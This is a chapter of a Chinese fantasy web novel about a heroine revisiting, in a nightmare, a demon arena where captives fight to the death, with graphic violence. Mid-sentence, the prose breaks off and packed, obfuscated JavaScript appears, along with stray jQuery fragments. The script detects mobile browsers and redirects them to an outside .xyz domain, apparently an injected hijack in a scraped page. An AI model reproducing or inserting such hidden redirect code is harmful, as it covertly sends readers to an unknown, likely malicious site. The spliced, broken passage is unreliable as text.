21. 第 21 章

作品:《据说我是邪恶反派

    合道二十三年,在童霜玉的记忆里,总是沉沉的阴着天幕,云雨压盖,湿气厚重。


    她顺着眼前的道路向前行走,看见草木之上凝结的滚圆水珠,和小心翼翼顺着叶脉攀爬过去的星点瓢虫。


    前方道路狭窄,只通往一个方向。


    童霜玉轻轻吸了口气,抬眸向那道路的尽处看去。


    尽处是一片连绵不尽的深灰色高墙,在这场潮湿低沉的天气之中,墙顶密密结了许多雾瘴,仿佛团团吸饱了水的棉花,阻挡着向上的视线。


    无数杂乱的,或尖叫或哀嚎,自那高墙之内遥遥传来。


    即便阻隔着这样遥远的距离,也仿佛能够感受到它们给耳膜带来的震颤。


    童霜玉下意识抬手,捂住自己右边的耳朵。


    但这样的声音并没有因此而止息,反倒更加清晰,鲜明。


    以至于童霜玉不得不闭眼缓了片刻。


    再睁眼时,终于将脑海中那些杂乱的声音驱逐出去,得以继续迈步向前。


    行走到高墙跟前,童霜玉抬头仰看,果然看见铁灰色的门栏上方,极为粗糙潦草,歪歪扭扭刻写下来的那三个字:


    厄斗场。


    看到这三个字的瞬间,童霜玉的情绪终于彻底平复下来,脑海中持续了一路的猜想得到落锤定音般的验证。


    她收起面上的表情,不再迟疑,迈步走入进去。


    ·


    “撕了他!撕了他!”


    厄斗场内,被铁栏围起的巨大空地上,衣衫褴褛,拴着铁链的魔物围绕两只缠斗在一起的同类,尖利而兴奋的号叫着。


    “你们在做什么?”童霜玉走过去,声音冷淡的发问道。


    她用了魔息进行传音,因此即便是最疯狂叫喊着的魔物,也听到这被强行灌注入耳道的声音。


    魔物们反应过来,迅速散开,让出原本所围绕着的空间。


    空地上扭打在一起的两人身形便呈现在童霜玉的眼前。


    一个是身形壮硕的成年男子,一个是只有十五六岁模样的瘦削少年。


    男子的面容粗犷,孔武有力,听到童霜玉的声音也没有停手,而是在那少年鼻梁上又用力砸了一拳。


    “呔!杂种!”男人狠狠骂着,用少年身上衣料狠狠擦了擦拳上沾染的血,才站立起身,看向童霜玉,面带恭维的笑道:“我道谁,原来是童姑娘。”


    这人话语带着嘲讽,面容童霜玉自然也熟悉,正是不久前死在她手下的,翠黄谷前谷主,乘黄。


    童霜玉在心底默默地计算着时间。


    合道二十年至三十年,整整十年时间,魔域都处于混乱之中,六域主各为其利,争夺劫掠,以求打败其他五域,登上魔主之位。


    而二十年初,正是童霜玉与窦沉骁最初进入魔域的时候。


    那时他们无处可去,只能与彼此相依生存,一步一步搀扶着走到这片混乱的土地上,在饥饿与威胁中谋求生存。


    直到误入无人境的领域,被当时的无人境域主,也就是青魑的父亲收留,才得到一份安定。


    两人在魔域的一切也由此奠基。


    合道二十一年,她和窦沉骁加入无人境,成为无人境域主麾下下属。


    二十三年,无人境与太岁渊发生冲突,两族相战,无人境老域主身死,只留下一个尚且总角的小女童青魑。


    无人境失其主,顿作鸟兽散,关键时刻,是窦沉骁站出来,将有异心之人斩杀,部属重新归拢收整。


    然后对上前来挑衅的翠黄谷。


    翠黄谷兵力不足,原本想着无人境残兵败将,要做得利黄雀,却不想面对的是两域整合后的兵力。


    乘黄当即换了策略,提出要与窦沉骁单打独斗,比试定胜负。


    窦沉骁同意。


    于是翠黄谷便也收归入他们的麾下。


    魔域群魔生来无拘,他们不遵守所谓的身份,地位,只信奉强弱。


    当年这个时候,童霜玉体内的灵气与魔息正处于平衡最不稳定的状态,故而鲜少出手,只隐于窦沉骁之后。而收归的过程又没有经过血洗,便导致了翠黄谷群魔只认乘黄,乘黄只认窦沉骁的现状。


    而这个噩梦中所呈现的这一幕场景……应当是她当年代替窦沉骁,来翠黄谷接管厄斗场的第一日。


    童霜玉闭上眼睛,轻轻吸了口气。


    她已然不是当初,为着这一两句口舌之快动怒的年少时期了。


    银针从指尖飞出,悄无声息而精准的没入乘黄膝盖骨缝。


    乘黄立刻吃痛,身形壮硕的男人身体不受控制的下坠,膝盖重重砸在地面。


    他极为清晰的“嘶”了一声,目光左右张望,最后锁定到因受伤疼痛而蜷缩在地上的瘦削少年。


    “是你偷袭老子?”他愤怒咆哮,一掌按上少年小臂,便要再度出拳揍他。


    童霜玉开口拦住:“够了。”


    “乘黄。”她没什么语气的吩咐道,“带我去看厄斗场的安防。”


    “要看安防?”这话终于让乘黄收手,扶着膝盖龇牙咧嘴的站起身来,语气终于慎重几分,“厄斗场的安防,必须有魔主的手令才能看。”


    童霜玉解下那在腰间挂了一路的令牌,冲他扔过去:“拿着。”


    乘黄双手接住令牌,认真检查了两遍,才一低头,咬着牙将那根陷进膝盖骨缝之中的银针拔出来,一高一低的走到童霜玉面前,将令牌归还。


    “请。”他抬手,几乎是咬牙切齿道。


    ·


    厄斗场之于魔域,是一个十分独特的地方。


    据说它在魔域建立之初便已经存在,用以关押败者与战俘,有着存续了千百年的严肃规则。所有被关押进去的魔,都必须要经历百场厄斗,才能够从其中走出。


    若是厄斗失败,则会当场被对手撕成碎片。


    而其中许多魔并没有这样的能力,便生活在其中,□□繁衍,代代相传。


    有许多魔,丛生到死,一生都存活在这个被深灰色高墙包围,只看得见阴翳云层,听得见嘶吼惨叫的地方。


    就像是……一个巨大的养蛊场。


    “这些杂种,进了厄斗场,便会被烙印。有了印子,只要不消,一辈子也别想踏出去一步。”乘黄走在童霜玉的前面,一边走一边哼哼着用他的粗嗓门介绍,“若有谁痴心妄想,做那想不开的事情,便会被当场烧成一抔灰。”


    “无论谁来,都得要遵守这里的规则。”


    童霜玉没出声。


    这样安静沉默的态度引得乘黄不满,回头瞪了她一眼:“小娘们儿,你有没有在听老子讲?”


    “老子告诉你,要不是看在窦沉骁的面子上——这厄斗场我们翠黄谷世代看管,绝不会交给一个半路出现的外族人!老子认了窦沉骁可不代表认你,不想干就赶紧滚回家玩脂粉首饰去!”


    他的手几乎要逼到童霜玉脸上来。


    童霜玉面色不变,甚至连后退都没有,只十分平静的道:“若有怨言,你去找窦沉骁。他说不让我管,我自然便不管了。”


    乘黄:“……”


    他咬着牙闷哼了声,不再理会童霜玉,只走流程般带着她在厄斗场周遭转了一圈,进行程式化的介绍。


    厄斗场中用来“厄斗”的中心场地排在最后。


    那是一个巨大的椭圆形谷地,周遭围了紧密的铁网,无数魔物趴伏在铁网边缘,为谷地中心正在进行的厄斗亢奋尖叫。


    乘黄带着童霜玉站


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783863|156397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在高台,居高临下的俯瞰着这一幕,身上布满伤痕的鹿角少女被她的同族以双角撞破胸膛,血淋淋的掏出心脏,当场吃下。


    胜者满身是血,双臂仰举至天,迎接从四面八方如海潮般涌来的尖啸狂呼。


    “撕了她!”


    “撕了她!”


    “撕了她!”


    于是胜者当场将少女的尸体撕扯成碎片,而铁网的某处开出一道豁口,原本尖叫狂呼的魔物奔涌进来,争抢着分食残肢与碎片。


    “这就是厄斗场。”乘黄转头,看向童霜玉,想从她的表情上看出些许动容与破裂来。


    然而事隔经年,距离合道二十三年已经过去太久,童霜玉见过太多如这般的事情,早便能够做到视若无睹,面不改色。


    不再是脸色惨白,当场面呕吐出来的稚嫩少女。


    乘黄终究没能够捕捉到自己想要的变化,只得落落失望:“总而言之,厄斗场便是如此了。”


    “嗯。”童霜玉极轻的应了一声,微微侧头,看向下方一串贴了咒印的木笼车队。


    车队中关了诸多半人形与人形的魔,身上污脏,多半是女性与孩童,其中一条鲜红色的裙衫在其中格外扎眼。


    童霜玉盯着那穿鲜红色裙衫的姑娘看了片刻,目光微微挪开,却在后面的木笼里瞥见一道有些熟悉的面孔。


    青年的衣衫不整,发冠也微微歪斜,脸上有伤,嘴巴倒是紧抿着,一如往常的平静与沉默。


    ……


    谢艳秋。


    童霜玉眯起眼睛。


    “我要那个人。”她对乘黄说。


    乘黄顺着童霜玉所指的方向看了一眼,道:“他是俘虏,是要被烙印封在厄斗场的。”


    童霜玉:“咒印现在烙了吗?”


    乘黄:“……没有。”


    童霜玉:“那就把他带到我面前来。”


    “……”乘黄愤怒的瞪了童霜玉一眼,想要出言嘲讽些什么,却又想到压在她头顶上的窦沉骁,忿忿吞咽回去。


    半晌,只憋出来一个字:“行!”


    乘黄虽然嘴上不干净,但在办事的效率上还算可以,很快便将童霜玉所看到的那个“谢艳秋”带至她的面前。


    这“谢艳秋”远看看起来像,凑近一看,更是本人。


    童霜玉几乎气笑了。


    等到乘黄离开,童霜玉看着面前被卸了锁链,沉默整理衣襟的青年:“道君出现在这里做什么,我不是让青魑直接带你回去吗?”


    听到这话,谢艳秋有些错愕的看着她:“……你在这噩梦之中,也仍旧能记得我?”


    “记得。”童霜玉手臂抵在栏杆上,感受着苍灰天色下迎面吹来的潮冷风气,淡声道,“我知道自己在什么地方。”


    谢艳秋上前一步:”那你……”


    “阴水泽中包藏诸多幽暗,混沌之念,它所营造的噩梦,即便我处在清醒状态,也要完整的走完,并保持理智与平静,才算是破除。”


    童霜玉微微掀眸,看向头顶阴沉云翳。她说得平静,似乎也并无惧怕,只是寻常普通的一件事情。


    谢艳秋在身后看着她。这噩梦看起来明显是她少女时期的事情,眉眼五官看起来尚有稚嫩,乌发之中也仅有一两缕的掺白,随风飘荡在身后,张扬蔓延,却又莫名冷寂萧落。


    他张了张嘴,迟疑片刻,终究还是没有出声。


    这时候激烈的欢呼声再度从下方传来,谢艳秋循声去看,便看到属于厄斗场上血腥残杀的那一幕。


    “那是……在做什么?”谢艳秋微愣。


    童霜玉从栏杆旁没什么表情的离开:“不重要。”


    她道:“那只是这个噩梦里无时无刻都在发生的事情罢了。”